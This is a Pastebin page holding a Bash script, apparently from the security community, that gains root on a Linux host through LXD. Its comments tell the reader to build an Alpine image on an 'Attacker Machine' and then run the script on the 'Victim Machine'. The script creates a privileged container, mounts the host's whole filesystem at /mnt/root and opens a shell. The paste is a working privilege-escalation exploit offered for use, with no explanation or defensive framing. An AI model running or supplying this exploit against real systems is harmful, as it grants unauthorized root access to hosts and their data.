GlobalHell2K17

KEKw

Aug 18th, 2021 (edited)
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.46 KB | None | 0 0
  1. #!/usr/bin/env bash
  2.  
  3. # ----------------------------------
  4. # Authors: Marcelo Vazquez (S4vitar)
  5. #      Victor Lasa      (vowkin)
  6. # ----------------------------------
  7.  
  8. # Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
  9. # Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
  10. # Step 3: Run this script and you will get root [Victim Machine]
  11. # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
  12.  
  13. function helpPanel(){
  14.   echo -e "\nUsage:"
  15.   echo -e "\t[-f] Filename (.tar.gz alpine file)"
  16.   echo -e "\t[-h] Show this help panel\n"
  17.   exit 1
  18. }
  19.  
  20. function createContainer(){
  21.   lxc image import $filename --alias alpine && lxd init --auto
  22.   echo -e "[*] Listing images...\n" && lxc image list
  23.   lxc init alpine privesc -c security.privileged=true
  24.   lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  25.   lxc start privesc
  26.   lxc exec privesc sh
  27.   cleanup
  28. }
  29.  
  30. function cleanup(){
  31.   echo -en "\n[*] Removing container..."
  32.   lxc stop privesc && lxc delete privesc && lxc image delete alpine
  33.   echo " [√]"
  34. }
  35.  
  36. set -o nounset
  37. set -o errexit
  38.  
  39. declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  40.   case $arg in
  41.     f) filename=$OPTARG && let parameter_enable+=1;;
  42.     h) helpPanel;;
  43.   esac
  44. done
  45.  
  46. if [ $parameter_enable -ne 1 ]; then
  47.   helpPanel
  48. else
  49.   createContainer
  50. fi
Add Comment
Please, Sign In to add comment